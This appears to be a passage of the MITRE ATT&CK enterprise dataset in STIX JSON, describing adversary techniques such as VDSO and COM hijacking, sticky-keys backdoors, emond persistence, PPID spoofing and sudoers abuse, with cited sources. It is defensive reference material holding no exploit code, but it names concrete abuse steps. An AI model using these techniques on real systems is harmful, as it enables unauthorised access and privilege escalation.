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            "name": "VDSO Hijacking",
            "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.  ",
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            "created": "2017-05-31T21:30:32.259Z",
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                    "external_id": "T1026"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "description": "**This technique has been deprecated and should no longer be used.**\n\nSome adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.",
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                    "external_id": "T1071.002"
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                {
                    "source_name": "ESET Machete July 2019",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf"
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
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                {
                    "source_name": "Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024",
                    "description": "Anthony Galiette, Doel Santos. (2024, January 11). Medusa Ransomware Turning Your Files into Stone. Retrieved October 15, 2025.",
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            "description": "Adversaries may intentionally exclude certain files, folders, directories, file types, or system components from encryption or tampering during a ransomware or malicious payload execution. Some file extensions that adversaries may avoid encrypting include `.dll`, `.exe`, and `.lnk`.(Citation: Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024)  \n\nAdversaries may perform this behavior to avoid alerting users, to evade detection by security tools and analysts, or, in the case of ransomware, to ensure that the system remains operational enough to deliver the ransom notice. \n\nExclusions may target files and components whose corruption would cause instability, break core services, or immediately expose the attack. By carefully avoiding these areas, adversaries maintain system responsiveness while minimizing indicators that could trigger alarms or otherwise inhibit achieving their goals. ",
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                    "external_id": "T1122"
                },
                {
                    "source_name": "Microsoft Component Object Model",
                    "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.",
                    "url": "https://msdn.microsoft.com/library/ms694363.aspx"
                },
                {
                    "source_name": "GDATA COM Hijacking",
                    "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.",
                    "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence"
                },
                {
                    "source_name": "Elastic COM Hijacking",
                    "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.",
                    "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2026-04-14T22:53:15.297Z",
            "name": "Component Object Model Hijacking",
            "description": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.",
            "kill_chain_phases": [
                {
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                    "phase_name": "stealth"
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                    "phase_name": "persistence"
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            "x_mitre_contributors": [
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            "x_mitre_domains": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
            "created": "2017-05-31T21:30:26.946Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1015",
                    "external_id": "T1015"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/558.html",
                    "external_id": "CAPEC-558"
                },
                {
                    "source_name": "FireEye Hikit Rootkit",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
                },
                {
                    "source_name": "DEFCON2016 Sticky Keys",
                    "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
                    "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"
                },
                {
                    "source_name": "Tilbury 2014",
                    "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.",
                    "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/"
                }
            ],
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            "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>",
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                    "phase_name": "privilege-escalation"
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            "x_mitre_contributors": [
                "Paul Speulstra, AECOM Global Security Operations Center"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1212",
                    "external_id": "T1212"
                },
                {
                    "source_name": "Bugcrowd Replay Attack",
                    "description": "Bugcrowd. (n.d.). Replay Attack. Retrieved September 27, 2023.",
                    "url": "https://www.bugcrowd.com/glossary/replay-attack/"
                },
                {
                    "source_name": "Comparitech Replay Attack",
                    "description": "Justin Schamotta. (2022, October 28). What is a replay attack?. Retrieved September 27, 2023.",
                    "url": "https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/"
                },
                {
                    "source_name": "ADSecurity Detecting Forged Tickets",
                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
                    "url": "https://adsecurity.org/?p=1515"
                },
                {
                    "source_name": "Storm-0558 techniques for unauthorized email access",
                    "description": "Microsoft Threat Intelligence. (2023, July 14). Analysis of Storm-0558 techniques for unauthorized email access. Retrieved September 18, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/"
                },
                {
                    "source_name": "Microsoft Midnight Blizzard Replay Attack",
                    "description": "Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 12, 2024.",
                    "url": "https://x.com/MsftSecIntel/status/1671579359994343425"
                },
                {
                    "source_name": "Technet MS14-068",
                    "description": "Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx"
                }
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            "name": "Exploitation for Credential Access",
            "description": "Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0\n\nCredentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd",
            "created": "2020-01-24T15:15:13.426Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/014",
                    "external_id": "T1546.014"
                },
                {
                    "source_name": "magnusviri emond Apr 2016",
                    "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.",
                    "url": "http://www.magnusviri.com/Mac/what-is-emond.html"
                },
                {
                    "source_name": "xorrior emond Jan 2018",
                    "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.",
                    "url": "https://www.xorrior.com/emond-persistence/"
                },
                {
                    "source_name": "sentinelone macos persist Jun 2019",
                    "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-10-24T17:49:08.766Z",
            "name": "Emond",
            "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.",
            "kill_chain_phases": [
                {
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                    "phase_name": "privilege-escalation"
                },
                {
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8",
            "created": "2020-03-14T22:45:52.963Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1102/003",
                    "external_id": "T1102.003"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-10-24T17:49:08.849Z",
            "name": "One-Way Communication",
            "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.",
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            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109",
            "created": "2020-10-02T15:45:17.628Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1590",
                    "external_id": "T1590"
                },
                {
                    "source_name": "Circl Passive DNS",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
                    "url": "https://www.circl.lu/services/passive-dns/"
                },
                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                    "url": "https://dnsdumpster.com/"
                },
                {
                    "source_name": "WHOIS",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
                    "url": "https://who.is/"
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            "modified": "2025-10-24T17:49:08.938Z",
            "name": "Gather Victim Network Information",
            "description": "Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1210",
                    "external_id": "T1210"
                },
                {
                    "source_name": "Broadcom VMSA-2024-0019",
                    "description": "Broadcom. (2024, September 17). VMSA-2024-0019: Questions & Answers. Retrieved April 8, 2025.",
                    "url": "https://github.com/vmware/vcf-security-and-compliance-guidelines/blob/main/security-advisories/vmsa-2024-0019/README.md"
                },
                {
                    "source_name": "CIS Multiple SMB Vulnerabilities",
                    "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.",
                    "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/"
                },
                {
                    "source_name": "Ars Technica VMWare Code Execution Vulnerability 2021",
                    "description": "Dan Goodin . (2021, February 25). Code-execution flaw in VMware has a severity rating of 9.8 out of 10. Retrieved April 8, 2025.",
                    "url": "https://arstechnica.com/information-technology/2021/02/armed-with-exploits-hackers-on-the-prowl-for-a-critical-vmware-vulnerability/"
                },
                {
                    "source_name": "NVD CVE-2016-6662",
                    "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662"
                },
                {
                    "source_name": "NVD CVE-2017-0176",
                    "description": "National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0176"
                },
                {
                    "source_name": "NVD CVE-2014-7169",
                    "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-10-24T17:49:09.112Z",
            "name": "Exploitation of Remote Services",
            "description": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities,  or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB(Citation: CIS Multiple SMB Vulnerabilities) and RDP(Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL(Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)(Citation: Ars Technica VMWare Code Execution Vulnerability 2021) Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.(Citation: Broadcom VMSA-2024-0019)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.",
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            "id": "attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142",
            "created": "2019-06-03T14:50:50.613Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1502",
                    "external_id": "T1502"
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                {
                    "source_name": "DidierStevens SelectMyParent Nov 2009",
                    "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.",
                    "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/"
                },
                {
                    "source_name": "Microsoft UAC Nov 2018",
                    "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.",
                    "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works"
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                {
                    "source_name": "CounterCept PPID Spoofing Dec 2018",
                    "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.",
                    "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/"
                },
                {
                    "source_name": "CTD PPID Spoofing Macro Mar 2019",
                    "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.",
                    "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/"
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                {
                    "source_name": "XPNSec PPID Nov 2017",
                    "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.",
                    "url": "https://blog.xpnsec.com/becoming-system/"
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                {
                    "source_name": "Microsoft Process Creation Flags May 2018",
                    "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.",
                    "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags"
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                {
                    "source_name": "Secuirtyinbits Ataware3 May 2019",
                    "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.",
                    "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3"
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            "name": "Parent PID Spoofing",
            "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",
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                    "external_id": "T1142"
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                {
                    "source_name": "Wikipedia keychain",
                    "description": "Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Keychain_(software)"
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                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
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            "created": "2019-09-04T19:26:12.441Z",
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                    "url": "https://attack.mitre.org/techniques/T1534",
                    "external_id": "T1534"
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                {
                    "source_name": "Int SP - chat apps",
                    "description": "Microsoft Threat Intelligence. (2023, August 2). Midnight Blizzard conducts targeted social engineering over Microsoft Teams. Retrieved February 16, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/"
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                {
                    "source_name": "Trend Micro - Int SP",
                    "description": "Trend Micro. (n.d.). Retrieved February 16, 2024.",
                    "url": "https://www.trendmicro.com/en_us/research.html"
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            "name": "Internal Spearphishing",
            "description": "After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1684/001).(Citation: Trend Micro - Int SP)\n\nFor example, adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic login interfaces.\n\nAdversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.(Citation: Int SP - chat apps)",
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            "created": "2017-12-14T16:46:06.044Z",
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                    "url": "https://attack.mitre.org/techniques/T1169",
                    "external_id": "T1169"
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                {
                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
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            "name": "Sudo",
            "description": "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.",
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            "name": "Services File Permissions Weakness",
            "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "type": "attack-pattern",
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            "created": "2020-01-23T22:02:48.566Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1547/001",
                    "external_id": "T1547.001"
                },
                {
                    "source_name": "Malwarebytes Wow6432Node 2016",
                    "description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.",
                    "url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/"
                },
                {
                    "source_name": "Microsoft Wow6432Node 2018",
                    "description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry"
                },
                {
                    "source_name": "Microsoft Run Key",
                    "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.",
